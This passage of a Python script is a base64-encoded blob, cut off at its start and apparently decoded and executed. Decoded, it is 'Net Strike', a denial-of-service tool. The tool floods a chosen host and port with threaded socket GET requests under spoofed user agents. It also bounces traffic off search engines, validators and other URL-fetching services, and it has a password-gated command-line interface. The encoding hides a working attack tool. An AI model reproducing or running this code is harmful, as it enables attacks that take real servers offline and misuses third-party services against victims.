vNTM3LjM2IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBBUk07IFRyaWRlbnQvNy4wOyBUb3VjaDsgcnY6MTEuMCkgbGlrZSBHZWNrbyIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0Ljg1IFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoWDExOyBVYnVudHU7IExpbnV4IHg4Nl82NDsgcnY6NDAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80MC4wIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBXT1c2NDsgVHJpZGVudC83LjA7IE1ERENKUzsgcnY6MTEuMCkgbGlrZSBHZWNrbyIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMDsgV09XNjQ7IHJ2OjQwLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDAuMCIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80NC4wLjI0MDMuMTU3IFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjo0MC4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQwLjAiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChpUGhvbmU7IENQVSBpUGhvbmUgT1MgOF80IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwMC4xLjQgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzguMCBNb2JpbGUvMTJIMTQzIFNhZmFyaS82MDAuMS40IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoaVBhZDsgQ1BVIE9TIDhfNF8xIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwMC4xLjQgKEtIVE1MLCBsaWtlIEdlY2tvKSBHU0EvNy4wLjU1NTM5IE1vYmlsZS8xMkgzMjEgU2FmYXJpLzYwMC4xLjQiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80NC4wLjI0MDMuMTU1IFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEwXzIpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80NS4wLjI0NTQuODUgU2FmYXJpLzUzNy4zNiIpCgogICAgICAgICAgICByZXR1cm4gKHVhZ2VudCkKCgogICAgICAgIGRlZiBteV9ib3RzKCk6CiAgICAgICAgICAgIGdsb2JhbCBib3RzCiAgICAgICAgICAgIGJvdHMgPSBbXQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cDovL3ZhbGlkYXRvci53My5vcmcvY2hlY2s/dXJpPSIpCiAgICAgICAgICAgIGJvdHMuYXBwZW5kKCJodHRwOi8vd3d3LmZhY2Vib29rLmNvbS9zaGFyZXIvc2hhcmVyLnBocD91PSIpCiAgICAgICAgICAgIGJvdHMuYXBwZW5kKCJodHRwOi8vZW5nYWRnZXQuc2VhcmNoLmFvbC5jb20vc2VhcmNoP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHA6Ly93d3cudXNhdG9kYXkuY29tL3NlYXJjaC9yZXN1bHRzP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHA6Ly93d3cuZ29vZ2xlLmNvbS8/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cDovL3d3dy5iaW5nLmNvbS9zZWFyY2g/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly93d3cueWFuZGV4LmNvbS95YW5kc2VhcmNoP3RleHQ9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vZHVja2R1Y2tnby5jb20vP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHA6Ly93d3cuYXNrLmNvbS93ZWI/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cDovL3NlYXJjaC5hb2wuY29tL2FvbC9zZWFyY2g/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly93d3cub20ubmwvdmFzdGUtb25kZXJkZWxlbi96b2VrZW4vP3pvZWtlbl90ZXJtIikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS92aWV3ZXJuZy92aWV3ZXI/dXJsPSIpCiAgICAgICAgICAgIGJvdHMuYXBwZW5kKCJodHRwOi8vdmFsaWRhdG9yLnczLm9yZy9mZWVkL2NoZWNrLmNnaT91cmw9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHA6Ly9ob3N0LXRyYWNrZXIuY29tL2NoZWNrX3BhZ2UvP2Z1cmw9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHA6Ly93d3cub25saW5lLXRyYW5zbGF0b3IuY29tL3VybC90cmFuc2xhdGlvbi5hc3B4P2RpcmVjdGlvbj1lciZzb3VyY2VVUkw9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHA6Ly9qaWdzYXcudzMub3JnL2Nzcy12YWxpZGF0b3IvdmFsaWRhdG9yP3VyaT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly9hZGQubXkueWFob28uY29tL3Jzcz91cmw9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHA6Ly93d3cuZ29vZ2xlLmNvbS8/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cDovL3d3dy51c2F0b2RheS5jb20vc2VhcmNoL3Jlc3VsdHM/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cDovL2VuZ2FkZ2V0LnNlYXJjaC5hb2wuY29tL3NlYXJjaD9xPSIpCiAgICAgICAgICAgIGJvdHMuYXBwZW5kKCJodHRwczovL3N0ZWFtY29tbXVuaXR5LmNvbS9tYXJrZXQvc2VhcmNoP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHA6Ly93d3cudG9wc2l0ZW1pbmVjcmFmdC5jb20vc2l0ZS9waW50ZXJlc3QuY29tL3NlYXJjaD9xPSciKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cDovL2V1LmJhdHRsZS5uZXQvd293L2VuL3NlYXJjaD9xPSIpCiAgICAgICAgICAgIGJvdHMuYXBwZW5kKCJodHRwczovL3d3dy5nb29nbGUuYWUvc2VhcmNoP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vd3d3Lmdvb2dsZS5jb20uYWYvc2VhcmNoP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vd3d3Lmdvb2dsZS5jb20uYWcvc2VhcmNoP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vd3d3Lmdvb2dsZS5jb20uYWkvc2VhcmNoP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vd3d3Lmdvb2dsZS5hbC9zZWFyY2g/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly93d3cuZ29vZ2xlLmFtL3NlYXJjaD9xPSIpCiAgICAgICAgICAgIGJvdHMuYXBwZW5kKCJodHRwczovL3d3dy5nb29nbGUuY28uYW8vc2VhcmNoP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vc3RlYW1jb21tdW5pdHkuY29tL21hcmtldC9zZWFyY2g/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly93d3cudGVkLmNvbS9zZWFyY2g/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly9wbGF5Lmdvb2dsZS5jb20vc3RvcmUvc2VhcmNoP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vd3d3LnF3YW50LmNvbS9zZWFyY2g/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly9zb2RhLmRlbW8uc29jcmF0YS5jb20vcmVzb3VyY2UvNHRrYS02Z3V2Lmpzb24/JHE9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vd3d3Lmdvb2dsZS5hZC9zZWFyY2g/cT0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly93d3cueW91dHViZS5jb20vIikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vY2hlY2staG9zdC5uZXQvIikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vd3d3LmJpbmcuY29tL3NlYXJjaD9xPSIpCiAgICAgICAgICAgIGJvdHMuYXBwZW5kKCJodHRwczovL3Iuc2VhcmNoLnlhaG9vLmNvbS8iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tLyIpCiAgICAgICAgICAgIGJvdHMuYXBwZW5kKCJodHRwczovL3ZrLmNvbS9wcm9maWxlLnBocD9yZWRpcmVjdD0iKQogICAgICAgICAgICBib3RzLmFwcGVuZCgiaHR0cHM6Ly93d3cudXNhdG9kYXkuY29tL3NlYXJjaC9yZXN1bHRzP3E9IikKICAgICAgICAgICAgYm90cy5hcHBlbmQoImh0dHBzOi8vaGVscC5iYWlkdS5jb20vc2VhcmNoUmVzdWx0P2tleXdvcmRzPSIpCgogICAgICAgICAgICByZXR1cm4gKGJvdHMpCgoKICAgICAgICBkZWYgYm90X2hhbW1lcmluZyh1cmwpOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oCiAgICAgICAgICAgICAgICAgICAgICAgIHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QodXJsLCBoZWFkZXJzPXsnVXNlci1BZ2VudCc6IHJhbmRvbS5jaG9pY2UodWFnZW50KX0pKQogICAgICAgICAgICAgICAgICAgIHByaW50KCJcMDMzWzk0bWJvdCBpcyBoYW1tZXJpbmdcMDMzWzBtIikKICAgICAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKC4xKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKC4xKQoKCiAgICAgICAgZGVmIGRvd25faXQoaXRlbSk6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgICAgICAgICAgcGFja2V0ID0gc3RyKAogICAgICAgICAgICAgICAgICAgICAgICAiR0VUIC8gSFRUUC8xLjFcbkhvc3Q6ICIgKyBob3N0ICsgIlxuXG4gVXNlci1BZ2VudDogIiArIHJhbmRvbS5jaG9pY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB1YWdlbnQpICsgIlxuIiArIGRhdGEpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICAgICAgJ3V0Zi04JykKICAgICAgICAgICAgICAgICAgICBzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgICAgICAgICAgICAgIHMuY29ubmVjdCgoaG9zdCwgaW50KHBvcnQpKSkKICAgICAgICAgICAgICAgICAgICBpZiBzLnNlbmR0byhwYWNrZXQsIChob3N0LCBpbnQocG9ydCkpKToKICAgICAgICAgICAgICAgICAgICAgICAgcy5zaHV0ZG93bigxKQogICAgICAgICAgICAgICAgICAgICAgICBwcmludCgiXDAzM1s5Mm0iLCB0aW1lLmN0aW1lKHRpbWUudGltZSgpKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlwwMzNbMG0gXDAzM1s5NG0gPC0tUGFja2V0IHNlbmRlZCBieSBOZXQgU3RyaWtlIGRkb3MtLT4gXDAzM1swbSIpCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgcy5zaHV0ZG93bigxKQogICAgICAgICAgICAgICAgICAgICAgICBwcmludCgiXDAzM1s5MW9mZiBzaG9kPC0+ZG93blwwMzNbMG0iKQogICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoLjEpCiAgICAgICAgICAgIGV4Y2VwdCBzb2NrZXQuZXJyb3IgYXMgZToKICAgICAgICAgICAgICAgIHByaW50KCJcMDMzWzkxbW5vIGNvbm5lY3Rpb24hIHNlcnZlciBtYXliZSBkb3duXDAzM1swbSIpCiAgICAgICAgICAgICAgICAjIHByaW50KCJcMDMzWzkxbSIsZSwiXDAzM1swbSIpCiAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKC4xKQoKCiAgICAgICAgZGVmIGRvcygpOgogICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgaXRlbSA9IHEuZ2V0KCkKICAgICAgICAgICAgICAgIGRvd25faXQoaXRlbSkKICAgICAgICAgICAgICAgIHEudGFza19kb25lKCkKCgogICAgICAgIGRlZiBkb3MyKCk6CiAgICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgICAgICBpdGVtID0gdy5nZXQoKQogICAgICAgICAgICAgICAgYm90X2hhbW1lcmluZyhyYW5kb20uY2hvaWNlKGJvdHMpICsgImh0dHA6Ly8iICsgaG9zdCkKICAgICAgICAgICAgICAgIHcudGFza19kb25lKCkKCgogICAgICAgIGRlZiB1c2FnZSgpOgogICAgICAgICAgICBwcmludChGb3JlLlJFRCArICcnJwogICAgICAgIOKWiOKWiOKWiOKVlyAgIOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilZfilojilojilZcgIOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKVlwogICAgICAgIOKWiOKWiOKWiOKWiOKVlyAg4paI4paI4pWR4paI4paI4pWU4pWQ4pWQ4pWQ4pWQ4pWd4pWa4pWQ4pWQ4paI4paI4pWU4pWQ4pWQ4pWd4paI4paI4pWU4pWQ4pWQ4pWQ4pWQ4pWd4pWa4pWQ4pWQ4paI4paI4pWU4pWQ4pWQ4pWd4paI4paI4pWU4pWQ4pWQ4paI4paI4pWX4paI4paI4pWR4paI4paI4pWRIOKWiOKWiOKVlOKVneKWiOKWiOKVlOKVkOKVkOKVkOKVkOKVnQogICAgICAgIOKWiOKWiOKVlOKWiOKWiOKVlyDilojilojilZHilojilojilojilojilojilZcgICAgIOKWiOKWiOKVkSAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVlyAgIOKWiOKWiOKVkSAgIOKWiOKWiOKWiOKWiOKWiOKWiOKVlOKVneKWiOKWiOKVkeKWiOKWiOKWiOKWiOKWiOKVlOKVnSDilojilojilojilojilojilZcgIAogICAgICAgIOKWiOKWiOKVkeKVmuKWiOKWiOKVl+KWiOKWiOKVkeKWiOKWiOKVlOKVkOKVkOKVnSAgICAg4paI4paI4pWRICAg4pWa4pWQ4pWQ4pWQ4pWQ4paI4paI4pWRICAg4paI4paI4pWRICAg4paI4paI4pWU4pWQ4pWQ4paI4paI4pWX4paI4paI4pWR4paI4paI4pWU4pWQ4paI4paI4pWXIOKWiOKWiOKVlOKVkOKVkOKVnSAgCiAgICAgICAg4paI4paI4pWRIOKVmuKWiOKWiOKWiOKWiOKVkeKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVlyAgIOKWiOKWiOKVkSAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAg4paI4paI4pWR4paI4paI4pWR4paI4paI4pWRICDilojilojilZfilojilojilojilojilojilojilojilZcKICAgICAgICDilZrilZDilZ0gIOKVmuKVkOKVkOKVkOKVneKVmuKVkOKVkOKVkOKVkOKVkOKVkOKVnSAgIOKVmuKVkOKVnSAgIOKVmuKVkOKVkOKVkOKVkOKVkOKVkOKVnSAgIOKVmuKVkOKVnSAgIOKVmuKVkOKVnSAg4pWa4pWQ4pWd4pWa4pWQ4pWd4pWa4pWQ4pWdICDilZrilZDilZ3ilZrilZDilZDilZDilZDilZDilZDilZ0gCiAgICAgICAgICAgICAgICAgICAgICBcMDMzWzE7MzQ7NDBtIEREb1MgQVRUQUNLIFwwMzNbMDswbTwvPiBcMDMzWzA7NDk7OTJtTkVUIFNUUklLRVwwMzNbMDswbSAKICAgICAgICAgICAgICAgICAgICAgICAgQXV0aG9yIC0+IEsgSSBWIFkgPC8+IEFCSAogICAgICAgIFwwMzNbMDs0OTs5NW0gRXhhbXBsZSAtPiBweXRob24zIG5ldHN0cmlrZS5weSAtcyAxMjcuMC4wLjEgLXAgNDQzIC10IDIwMAogICAgICAgIFwwMzNbMTszNDs0MG0JLXMgOiBzZXJ2ZXIgaXBcMDMzWzA7MG0KICAgICAgICBcMDMzWzA7NDk7MzNtCS1wIDogcG9ydCBkZWZhdWx0IDgwXDAzM1swOzBtCiAgICAgICAgXDAzM1swOzQ5OzkybQktdCA6IHR1cmJvIGRlZmF1bHQgMTM1ICAgXDAzM1s5Mm0KICAgICAgICA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09JycnKQogICAgICAgICAgICBzeXMuZXhpdCgpCgoKICAgICAgICBkZWYgZ2V0X3BhcmFtZXRlcnMoKToKICAgICAgICAgICAgZ2xvYmFsIGhvc3QKICAgICAgICAgICAgZ2xvYmFsIHBvcnQKICAgICAgICAgICAgZ2xvYmFsIHRocgogICAgICAgICAgICBnbG9iYWwgaXRlbQogICAgICAgICAgICBvcHRwID0gT3B0aW9uUGFyc2VyKGFkZF9oZWxwX29wdGlvbj1GYWxzZSwgZXBpbG9nPSJIYW1tZXJzIikKICAgICAgICAgICAgb3B0cC5hZGRfb3B0aW9uKCItcSIsICItLXF1aWV0IiwgaGVscD0ic2V0IGxvZ2dpbmcgdG8gRVJST1IiLCBhY3Rpb249InN0b3JlX2NvbnN0IiwgZGVzdD0ibG9nbGV2ZWwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29uc3Q9bG9nZ2luZy5FUlJPUiwgZGVmYXVsdD1sb2dnaW5nLklORk8pCiAgICAgICAgICAgIG9wdHAuYWRkX29wdGlvbigiLXMiLCAiLS1zZXJ2ZXIiLCBkZXN0PSJob3N0IiwgaGVscD0iYXR0YWNrIHRvIHNlcnZlciBpcCAtcyBpcCIpCiAgICAgICAgICAgIG9wdHAuYWRkX29wdGlvbigiLXAiLCAiLS1wb3J0IiwgdHlwZT0iaW50IiwgZGVzdD0icG9ydCIsIGhlbHA9Ii1wIDgwIGRlZmF1bHQgODAiKQogICAgICAgICAgICBvcHRwLmFkZF9vcHRpb24oIi10IiwgIi0tdHVyYm8iLCB0eXBlPSJpbnQiLCBkZXN0PSJ0dXJibyIsIGhlbHA9ImRlZmF1bHQgMTM1IC10IDEzNSIpCiAgICAgICAgICAgIG9wdHAuYWRkX29wdGlvbigiLWgiLCAiLS1oZWxwIiwgZGVzdD0iaGVscCIsIGFjdGlvbj0nc3RvcmVfdHJ1ZScsIGhlbHA9ImhlbHAgeW91IikKICAgICAgICAgICAgb3B0cywgYXJncyA9IG9wdHAucGFyc2VfYXJncygpCiAgICAgICAgICAgIGxvZ2dpbmcuYmFzaWNDb25maWcobGV2ZWw9b3B0cy5sb2dsZXZlbCwgZm9ybWF0PSclKGxldmVsbmFtZSktOHMgJShtZXNzYWdlKXMnKQogICAgICAgICAgICBpZiBvcHRzLmhlbHA6CiAgICAgICAgICAgICAgICB1c2FnZSgpCiAgICAgICAgICAgIGlmIG9wdHMuaG9zdCBpcyBub3QgTm9uZToKICAgICAgICAgICAgICAgIGhvc3QgPSBvcHRzLmhvc3QKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHVzYWdlKCkKICAgICAgICAgICAgaWYgb3B0cy5wb3J0IGlzIE5vbmU6CiAgICAgICAgICAgICAgICBwb3J0ID0gODAKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHBvcnQgPSBvcHRzLnBvcnQKICAgICAgICAgICAgaWYgb3B0cy50dXJibyBpcyBOb25lOgogICAgICAgICAgICAgICAgdGhyID0gMTM1CiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0aHIgPSBvcHRzLnR1cmJvCgoKICAgICAgICAjIHJlYWRpbmcgaGVhZGVycwogICAgICAgIGdsb2JhbCBkYXRhCiAgICAgICAgaGVhZGVycyA9IG9wZW4oImhlYWRlcnMudHh0IiwgInIiKQogICAgICAgIGRhdGEgPSBoZWFkZXJzLnJlYWQoKQogICAgICAgIGhlYWRlcnMuY2xvc2UoKQogICAgICAgICMgdGFzayBxdWV1ZSBhcmUgcSx3CiAgICAgICAgcSA9IFF1ZXVlKCkKICAgICAgICB3ID0gUXVldWUoKQoKICAgICAgICBpZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgogICAgICAgICAgICBpZiBsZW4oc3lzLmFyZ3YpIDwgMjoKICAgICAgICAgICAgICAgIHVzYWdlKCkKICAgICAgICAgICAgZ2V0X3BhcmFtZXRlcnMoKQogICAgICAgICAgICBwcmludCgiXDAzM1s5Mm0iLCBob3N0LCAiIHBvcnQ6ICIsIHN0cihwb3J0KSwgIiB0dXJibzogIiwgc3RyKHRociksICJcMDMzWzBtIikKCiAgICAgICAgICAgIHByaW50KCJcMDMzWzk0bVdhaXQgSSdtIGxvb2tpbmcgZm9yIHNvbWUgaW5mZWN0ZWQgc3lzdGVtc1wwMzNbMG0iKQogICAgICAgICAgICBwcmludCgiXDAzM1s5NG1QbGVhc2Ugd2FpdC4uLlwwMzNbMG0iKQogICAgICAgICAgICB1c2VyX2FnZW50KCkKICAgICAgICAgICAgbXlfYm90cygpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoNSkKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKICAgICAgICAgICAgICAgIHMuY29ubmVjdCgoaG9zdCwgaW50KHBvcnQpKSkKICAgICAgICAgICAgICAgIHMuc2V0dGltZW91dCgxKQogICAgICAgICAgICBleGNlcHQgc29ja2V0LmVycm9yIGFzIGU6CiAgICAgICAgICAgICAgICBwcmludCgiXDAzM1s5MW1jaGVjayBzZXJ2ZXIgaXAgYW5kIHBvcnRcMDMzWzBtIikKICAgICAgICAgICAgICAgIHVzYWdlKCkKICAgICAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgICAgIGZvciBpIGluIHJhbmdlKGludCh0aHIpKToKICAgICAgICAgICAgICAgICAgICB0ID0gdGhyZWFkaW5nLlRocmVhZCh0YXJnZXQ9ZG9zKQogICAgICAgICAgICAgICAgICAgIHQuZGFlbW9uID0gVHJ1ZSAgIyBpZiB0aHJlYWQgaXMgZXhpc3QsIGl0IGRpZXMKICAgICAgICAgICAgICAgICAgICB0LnN0YXJ0KCkKICAgICAgICAgICAgICAgICAgICB0MiA9IHRocmVhZGluZy5UaHJlYWQodGFyZ2V0PWRvczIpCiAgICAgICAgICAgICAgICAgICAgdDIuZGFlbW9uID0gVHJ1ZSAgIyBpZiB0aHJlYWQgaXMgZXhpc3QsIGl0IGRpZXMKICAgICAgICAgICAgICAgICAgICB0Mi5zdGFydCgpCiAgICAgICAgICAgICAgICBzdGFydCA9IHRpbWUudGltZSgpCiAgICAgICAgICAgICAgICAjIHRhc2tpbmcKICAgICAgICAgICAgICAgIGl0ZW0gPSAwCiAgICAgICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgICAgIGlmIChpdGVtID4gMTgwMCk6ICAjIGZvciBubyBtZW1vcnkgY3Jhc2gKICAgICAgICAgICAgICAgICAgICAgICAgaXRlbSA9IDAKICAgICAgICAgICAgICAgICAgICAgICAgdGltZS5zbGVlcCguMSkKICAgICAgICAgICAgICAgICAgICBpdGVtID0gaXRlbSArIDEKICAgICAgICAgICAgICAgICAgICBxLnB1dChpdGVtKQogICAgICAgICAgICAgICAgICAgIHcucHV0KGl0ZW0pCiAgICAgICAgICAgICAgICBxLmpvaW4oKQogICAgICAgICAgICAgICAgdy5qb2luKCkKCiAgICAgICAgYnJlYWsgICMgRXhpdCB0aGUgbG9vcCBpZiBjcmVkZW50aWFscyBhcmUgY29ycmVjdAogICAgZWxzZToKICAgICAgICBwcmludCgiXDAzM1s7NDk7OTFtIEludmFsaWQgSUQgb3IgcGFzc3dvcmQuIFBsZWFzZSB0cnkgYWdhaW4iKQ==").decode())